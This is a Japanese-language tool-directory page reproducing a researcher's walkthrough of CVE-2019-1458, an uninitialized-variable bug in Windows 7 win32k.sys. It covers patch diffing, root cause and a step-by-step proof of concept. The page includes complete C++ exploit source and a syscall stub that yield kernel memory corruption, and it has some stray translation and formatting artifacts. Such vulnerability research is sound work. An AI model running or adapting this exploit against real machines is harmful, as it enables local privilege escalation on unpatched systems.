Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2019-1458_POC — cve-2019-1458 の PoC | Kitploit
ツール/GitHubGitHub/piotrflorczyk/cve-2019-1458_poc
脆弱性分析エクスプロイトリバースエンジニアリング学習と教育バイナリエクスプロイト
GitHubpiotrflorczyk/cve-2019-1458_poc

cve-2019-1458_POC

cve-2019-1458 の PoC

リポジトリを見る
181534年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-1458: 「in the wildレポート」からPOCへ

12月にKasperskyは、[実際の攻撃で使用された0dayエクスプロイトに関するブログ記事][1]を公開しました。彼らはエクスプロイトの動作を説明していましたが、分析ではPOCを提供していなかったため、興味を引かれました。 そこでKasperskyのブログ記事とパッチ解析に基づいて、この脆弱性のPOCの作成を試みることにしました。
この記事は、その過程をまとめたものです。

情報収集:

まず最初に、この脆弱性についてできるだけ多くの情報を集めました。 前述のブログ記事を読んで、以下の情報を得ました:

  • 脆弱性はウィンドウ切り替え機能に関連している
  • トリガーにはALTキーの押下をシミュレートする必要がある
  • 非公開のNtUserMessageCall APIへの呼び出しが2回必要
  • 特別な切り替えウィンドウを作成する必要がある
  • カーネル関数win32k!DrawSwitchWndHiliteへの参照があった

その他に、前述のいくつかの項目を示す逆コンパイルコードのスクリーンショットがあります。 具体的には、切り替えウィンドウの作成、toggle_alt_keyという名前の関数の呼び出し、複数回のNtUserMessageCall呼び出しを示しています。

逆コンパイルされたエクスプロイトコードの一部 [画像ソース][1]

有用な情報は多いですが、この脆弱性が正確にどのように機能し、どのようにトリガーするかはまだ説明されていません。

パッチ差分

[影響を受けるモジュールはwin32k.sysでした][2]。このモジュールのパッチ適用版と未適用版の両方をダウンロードしました。
Win7 x64の場合、次の通りです:

  • パッチ適用: KB4530692
  • 未適用: KB4525233

これらは[Microsoft Update Catalog][3]からダウンロードできます。

両バージョンを比較したbindiff結果は次のとおりです。

win32k比較

DebugHook機能に関連する関数を除外した後、残るのはわずかに変更されたInitFunctionTables()関数だけです。

InitFunctionTablesの変更

確かにこれまでで最大のパッチではありません。
これだけでは、この脆弱性の根本原因を即座に特定する助けにはなりません。ただし、*(gpsi+0x14E), *(gpsi+0x154), *(gpsi+0x180)の変数に対する初期値が追加されていることは注目に値します。つまり、これは初期化されていない変数に関連するバグかもしれません。

POC構築 - ステップバイステップ

このセクションでは、この脆弱性をトリガーするPOCを段階的に構築し、同時に脆弱性の正体を解明した過程を紹介します。

どこから始めるか

最初の時点ではパッチ差分はあまり有用な情報を提供しなかったため、開発の初期段階では主にKasperskyのブログ記事に頼りました。
適切なテスト環境のために、最後の脆弱なバージョンのwin32kが動作するWin7 SP1 x64 VMを準備しました。さらに、このVMにWindbgを接続してカーネルデバッグを行い、その際にシンボルサーバーパスも設定しました。
調査は、ブログ記事で言及されていたwin32k!DrawSwitchWndHiliteを調べることから始めました。これは、xxxMoveSwitchWndHiliteとxxxPaintSwitchWindowの2か所から呼び出されています。後者は、元のレポートで言及されていたGetKeyState/GetAsyncKeyState呼び出しで囲まれているため、すぐに注目しました。さらに、これらの呼び出しはALTキーが押されているかどうかをチェックしています。

DrawSwitchWndHiliteへの注目すべき呼び出し箇所
xxxPaintSwitchWindowからDrawSwitchWndHiliteへの呼び出し

呼び出しのクロスリファレンス(xxxWrapSwitchWndProc->xxxSwitchWndProc->xxxPaintSwitchWindow->DrawSwitchWndHilite)をさらに追跡すると、そのチェーンの最初の要素が、パッチで修正されたInitFunctionTablesで参照されていることを発見しました。

次に、逆コンパイルコードのスクリーンショットからNtUserMessageCallを調べました。 この関数の宣言は次のとおりです。```cpp NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOLEAN bAnsi)

root@kitploit:~
エクスプロイトは `msg = 0x14` と `dwType = 0xE0` で呼び出しています。何をするか見てみましょう。```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;

printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
    printf("[-] Failed registering SploitWnd window class\n");
    exit(-1);
}

printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
    printf("[-] Failed to create SploitWnd window\n");
    exit(-1);
}
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0xE0, 1);

ここでは、単純なウィンドウクラスを登録し、そのクラスのウィンドウを作成しました。次に、エクスプロイトと同じパラメータで NtUserMessageCall を呼び出しました。内部で何が起こっているのかを確認するために、ブレークポイント kd> ba e 1 win32k!NtUserMessageCall を設定してコードを実行しました。 この関数への呼び出しはかなり多いため、正しい呼び出しを捉える必要がありましたが、それほど難しくはありませんでした。コールスタックが非常に短い呼び出しでした。

NtUserMessageCall
NtUserMessageCall

コードをステップ実行すると、gapfnMessageCall 配列の関数を呼び出していることがわかりました。インデックスは msg の値に基づいて計算され、0 になるため、NtUserfnDWORD が呼び出されます。

NtUserfnDWORD
NtUserfnDWORD

次の呼び出しは dwType の値を使用して行われ、今度は gpsi のオフセットが 0x40 になり、呼び出しは xxxWrapSwitchWndProc につながります(この関数は、DrawSwitchWndHilite の呼び出しチェーンを確認したときにも登場しました)。
xxxWrapSwitchWndProc は単に xxxSwitchWndProc を呼び出します。

xxxSwitchWndProc
xxxSwitchWndProc

そしてここが終点です。コードはここで失敗し、msg の値(0x14)から到達したい場所である xxxPaintSwitchWindow には進みません。理由を確認しましょう。

正しいパスをトリガーする

コードがこの段階で失敗するのは、前の画像で強調したように、ウィンドウの fnid が 0x2A0(FNID_SWITCH)ではなく、送信しているメッセージも 1 ではないため、xxxDefWindowProc に到達してしまうからです。このシナリオを回避するには、fnid を FNID_SWITCH に設定して xxxSwitchWndProc を呼び出し、switch 文に直接進んでから xxxPaintSwitchWindow に到達する必要があります。
正しい fnid を設定するにはどうすればよいでしょうか。実は、同じ関数が最初の if ブロック内で設定しています。fnid を設定する命令に到達するには、その中のすべてのチェックを失敗させるだけでよいのです。

3つの if チェックをすべて失敗させるために満たすべき条件は次のとおりです:

  • fnid == 0 かつ cbwndExtra + 0x128 >= *(gpsi + 0x154)
    新しく作成されたユーザーウィンドウでは、fnid は 0 です。 *(gpsi+0x154) は未パッチの win32k! では 0 です。しかし、パッチ適用済みバージョンのように 0x130 に設定されていたとしても、cbwndExtra を 8 以上に設定すれば、最初のチェックを回避できます。
  • msg == 1
    NtUserMessageCall の呼び出しで設定できます。msg を 1 に設定すると、制御フローは NtUserfnDWORD の代わりに NtUserfnINLPCREATESTRUCT を通りますが、それでも xxxSwitchWndProc に到達します。

これらの条件がすべて満たされると、ウィンドウの fnid は FNID_SWITCH に設定されます。
そこで、NtUserMessageCall を2回呼び出す必要があります。1回目は msg を 1 にして目的の fnid を設定し、2回目で xxxPaintSwitchWindow に到達します。```cpp HINSTANCE hInstance = GetModuleHandle(NULL); WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc

printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }

printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }

printf("[] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE/ = 1*/, 0, 0, 0, 0x0, 1);

printf("[] Calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND/ = 0x14*/, 0, 0, 0, 0x0, 1);

root@kitploit:~
`extraData` をウィンドウクラスに追加し、`NtUserMessageCall` への2回目の呼び出しを追加しました。これで制御フローは `xxxPaintSwitchWindow` に到達できます。
(余談: `dwType` は `0xE0` である必要はなく、`0` でも問題ありません。`NtUserfnDWORD` 内で `0x1F` と AND 演算されるためです)

![xxxPaintSwitchWindow](https://assets.kitploit.com/production/public/readmes/30684/0a794f2d2af1e438ad43ce6f36921871ba04eeadeba67141388de7163ceaa0fa.png)
*`xxxPaintSwitchWindow`*

詳しく調べると、ウィンドウオブジェクトから取得した値 `extraWndData`(25行目)が書き込み先ポインタとして使われていることに気づきました(46〜52行目)! もし `extraWndData` を自分が制御する値に設定するコードに到達できれば、任意のメモリを破壊できます!  
そこに到達するには、まずさらにいくつかのチェック(赤でマーク)を通過する必要があります。

- ウィンドウに `WS_VISIBLE` フラグが設定されているかどうかを確認。  
このフラグは `CreateWindowEx` で設定できます。
- `fnid == 0x2A0` かつ `cbwndExtra + 0x128 == *(gpsi + 0x154)`  
Fnid は最初の `NtUserMessageCall` で既に設定されています。  
問題はこのチェックの2番目の部分で、`*(gpsi + 0x154)` が脆弱な `win32k` モジュールでは初期化されていないため、このチェックは常に失敗します。何らかの方法で `*(gpsi+0x154)` を正しい値に設定しない限りは。Kaspersky の投稿で言及されている特別なスイッチウィンドウを作成すると、まさにそれが実現されることがわかりました。
- ウィンドウが破棄されていないかどうかを確認。  
このケースでは既に満たされています。

特別な[スイッチウィンドウ][4]を作成するには、名前を `0x8003`(`#32771`)に設定して `CreateWindowEx` を呼び出す必要があります。これは最終的にカーネル内で `InternalRegisterClassEx` が呼び出されることになります。

![InternalRegisterClassEx](https://assets.kitploit.com/production/public/readmes/30684/899c70257bac4c26d99e4bfb6e14d024a586bc7fb3bc11cddb5f544409165092.png)
*`InternalRegisterClassEx` 関数の断片*

これにより `*(gpsi+0x154)` が `0x130` に初期化されます。
この副作用として、この変数を一度設定すると、0 にリセットする方法はありません。つまり、エクスプロイトを実行できる機会は一度だけです。次回の再起動までの他の試みはすべて失敗します。


### 逆参照される値の制御

これで、後でポインタとして逆参照され、`xxxPaintSwitchWindow` 内で書き込みが行われる `extraWndData` を制御できるようになりました。`extraWndData` は次の呼び出しで制御できます。```cpp
SetWindowLongPtr(HWND hWnd, int nIndex, LONG_PTR dwNewLong)

留意すべき点として、この呼び出しは最初の NtUserMessageCall 呼び出しの後に行う必要があります。前述のように、xxxSwitchWndProc は必要なチェックをバイパスするために、最初の呼び出しでウィンドウの extraData が 0 に設定されている必要があるからです。 また、SetWindowLongPtr はスイッチウィンドウの作成前に呼び出す必要があります。その理由は次のとおりです。

xxxSetWindowLong xxxSetWindowLong 関数の一部

ここで、実際に未初期化の変数 *(gpsi + 0x154) を利用します。 このチェックが通過すると、wnd->extraData に任意の値を設定します。 これが正しく初期化されていれば、エクスプロイトはここで失敗するでしょう。```cpp HINSTANCE hInstance = GetModuleHandle(NULL);

WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc

printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }

printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }

printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0x0, 1);

printf("[] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); SetWindowLongPtr(sploitWnd, 0, 0x4141414141414); printf("[] GetLastError = %x\n", GetLastError());

printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);

root@kitploit:~
上記のコードを実行した結果は次の通りです

![エクスプロイトの実行成功のデバッグ](https://assets.kitploit.com/production/public/readmes/30684/041723bb4c11895a5884059ccea0376d06d26056b4f0bac758dd712055b05b09.png)

この直後、`rdi` が逆参照されたときにバグチェックが発生します。  
パッチ適用済みのWindowsで同じエクスプロイトを実行すると:```
[*] Registering window
[*] Creating instance of this window
[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window
[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced
bold:[*] GetLastError = 585
[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130
[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time

SetWindowLongPtr は、正しく初期化された *(gpsi + 0x154) が原因でエラーコード 0x585 により失敗します。そしてカーネルはクラッシュしません。

根本原因(再掲)

要約すると、主な問題は初期化されていない変数 *(gpsi+0x154) でした。
しかし、この値は何で、なぜ重要なのでしょうか?
gpsi は [tagSERVERINFO][5] 構造体へのグローバルポインタです。この構造体は、とりわけシステムウィンドウ(メニュー、デスクトップ、スイッチなどを意味します)を記述します。これはユーザー定義ウィンドウとは対照的です。 これらのシステムウィンドウは、FNID によって識別されます。たとえば 0x2A0 はスイッチウィンドウを意味します。

ウィンドウクラスを RegisterClassEx を使って定義するとき、WNDCLASSEX の cbWndExtra フィールドを指定する機会があります。このフィールドは、ウィンドウ固有の情報を保存するために tagWND 構造体に追加して割り当てられる追加バイト数を記述します。 その後、SetWindowLongPtr を使用してそれらの追加バイトを変更できます。 システムウィンドウは、動作に必要な追加データを保存するためにまったく同じメカニズムを使用します。しかし原理上、このデータは SetWindowLongPtr を使用して到達可能であってはなりません。 そして、実際に xxxSetWindowLongPtr にはそれを防ぐべきチェックが存在することを確認しました。型情報を適用した後のチェックは次のとおりです。``` if (nIndex >= gpsi->mpFnid_serverCBWndProc[(window->fnid & 0x3FFF) - FNID_FIRST] - sizeof(tagWND)) goto exit_with_error

root@kitploit:~
配列 `gpsi->mpFnid_serverCBWndProc` は、特定のシステムウィンドウオブジェクトのサイズを追加データ込みで表します。  
`*(gpsi+0x154)` は `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]` となります。  
このフィールドを初期化しないままにしておくと、`xxxSetWindowLongPtr` は追加データのサイズが `-sizeof(tagWND)` であると見なすため、スイッチウィンドウの構造体のプライベートであるべきフィールドに書き込むことができます。

この脆弱性の根本原因は、初期化されていない(あるいはデフォルトで0に初期化された)変数 `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]` でした。  
これがパッチが非常に小さかった理由を説明しています。必要なのは、それを `sizeof(tagWND) + 8` に設定することだけでした。同様に、現在では以前は初期化されていなかった他の `mpFnid_serverCBWndProc` 配列要素(`FNID_DESKTOP`、`FNID_TOOLTIPS`)も初期化されており、おそらく将来のこのエクスプロイトの変種も防ぐためです。

![InitFunctionTable with types](https://assets.kitploit.com/production/public/readmes/30684/d7a41949abd8ce0e3d34f642c080b315d20edfb4e480db16f915759c5e375436.png)

## メモリの破壊
現在のエクスプロイトの状態ではバグチェックをトリガーできますが、クラッシュは次の命令で発生します:```asm
xxxPaintSwitchWindow + 0x8B:
cmp     [rdi+6Ch], r13d		; rdi = 0x4141414141414

このPOCを準備する最後のステップは、より有用なクラッシュを引き起こすこと、あるいはさらに良いのは、メモリを破損させてもまったくクラッシュさせないことでしょう。

この最後の目標を達成するには、以下が必要です:

  • RWメモリへの有効なポインタを提供する。
    私はVirtualAllocを使ってメモリを割り当て、返されたポインタをSetWindowLongPtrに渡すことにしました。
  • ALTキーの押下をシミュレートする。
    前述のとおり、xxxPaintSwitchWindow内にはGetKeyState/GetAsyncKeyStateを呼び出してALTキーが押されているかどうかをチェックする箇所があります。そして、そうでない場合、関数は終了します。
    GetKeyStateとGetAsyncKeyStateのどちらを使用するかは、[extraWndData+6Ch]のフラグに基づいて決定されます。 私はSetKeyboardStateを呼び出してALT押下をシミュレートすることにしました。これはGetKeyStateでのみ機能するため、オフセット0x6Cの値を1に設定する必要があります。```cpp ptr = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); SetWindowLongPtr(sploitWnd, 0, ptr);

BYTE keyData[256]; GetKeyboardState(keyData); keyData[VK_MENU] |= 0x80; // simulate ALT SetKeyboardState(keyData);

((BYTE*)ptr)[0x6c] = 1; // force use of GetKeyState inside xxxPaintSwitchWindow

root@kitploit:~
このコードで別のクラッシュが発生しました。```asm
DrawSwitchWndHilite + 0x10A:
mov     rcx, [r12+20h]
mov     dl, 1
mov     rcx, [rcx]		; rcx = 0

そこで、オフセット 0x20 にも有効なポインタを提供します(それ自身を指すものです)。```cpp ptr[0x20 / sizeof(*ptr)] = ptr; // make double derefence succeed

root@kitploit:~
現在、エクスプロイトはクラッシュせずに動作し、割り当てられたページの内容を調べると、それが修正されていることがわかります!

![Memory content](https://assets.kitploit.com/production/public/readmes/30684/08b7865f524a983ea91bda161f8356a75b0ca1a1c070eecd9950592ff23629ec.png)

私たちは、与えられたメモリを破壊する安定したエクスプロイトPOCを達成しました。これは、メモリ読み取り時にクラッシュするPOCよりもはるかに良い状況です。この任意メモリ破壊は、任意のカーネル読み取り/書き込みに容易に変換できるためです。さらに、破壊されるメモリが満たさなければならない要件をすでに抽出しています。 

## 結論
このウォークスルーでは、エクスプロイトと脆弱性の説明から、有用なカーネルエクスプロイトに変換できる動作するPOCへとどのようにたどり着いたかを紹介しました。
これは、欠落した1行のおかげで可能になった、非常に興味深いエクスプロイトでした。つまり、教訓は常にグローバル変数を初期化することだと思います。

## POC``` cpp
#include <cstdio>
#include <windows.h>

extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);

int main() {    
    HINSTANCE hInstance = GetModuleHandle(NULL);

    WNDCLASSEX wcx;
    ZeroMemory(&wcx, sizeof(wcx));
    wcx.hInstance = hInstance;
    wcx.cbSize = sizeof(wcx);
    wcx.lpszClassName = L"SploitWnd";
    wcx.lpfnWndProc = DefWindowProc;
    wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0
   
    printf("[*] Registering window\n");
    ATOM wndAtom = RegisterClassEx(&wcx);
    if (wndAtom == INVALID_ATOM) {
        printf("[-] Failed registering SploitWnd window class\n");
        exit(-1);
    }

    printf("[*] Creating instance of this window\n");
    HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
    if (sploitWnd == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create SploitWnd window\n");
        exit(-1);
    }

    printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
    NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);

    printf("[*] Allocate memory to be used for corruption\n");
    PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    printf("\tptr: %p\n", mem);
    PBYTE byteView = (PBYTE)mem;
    byteView[0x6c] = 1;             // use GetKeyState in xxxPaintSwitchWindow

    //pass DrawSwitchWndHilite double dereference
    PVOID* ulongView = (PVOID*)mem;
    ulongView[0x20 / sizeof(PVOID)] = mem;

    printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
    SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
    printf("[*] GetLastError = %x\n", GetLastError());

    printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
    HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

    printf("[*] Simulating alt key press\n");
    BYTE keyState[256];
    GetKeyboardState(keyState);
    keyState[VK_MENU] |= 0x80;
    SetKeyboardState(keyState);

    printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
    NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}

翻訳対象のMarkdownコンテンツが入力されていません。内容を提供してください。```asm _DATA SEGMENT _DATA ENDS _TEXT SEGMENT

PUBLIC NtUserMessageCall NtUserMessageCall PROC mov r10, rcx mov eax, 1007h ; Win7 sp1 syscall ret NtUserMessageCall ENDP _TEXT ENDS END

root@kitploit:~
[1]: https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/
[2]: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1458
[3]: https://www.catalog.update.microsoft.com/Home.aspx
[4]: https://docs.microsoft.com/en-us/windows/win32/winauto/switch-window
[5]: https://www.reactos.org/wiki/Techwiki:Win32k/SERVERINFO
[6]: https://media.paloaltonetworks.com/lp/endpoint-security/blog/the-case-for-smep-exploiting-a-kernel-vulnerability.html
ツールをダウンロード
  • extraData == 0
    ExtraData のサイズは、前述の cbwndExtra を使用してウィンドウクラスを登録するときに設定できます。ExtraData は tagWND 構造体の直後に追加されます(私は、逆コンパイルされたコードを少し見やすくするために、このフィールドを IDA の tagWND 構造体に sizeof(tagWND) オフセットの QWORD として追加しました)。その値は SetWindowLongPtr の呼び出しで設定できます。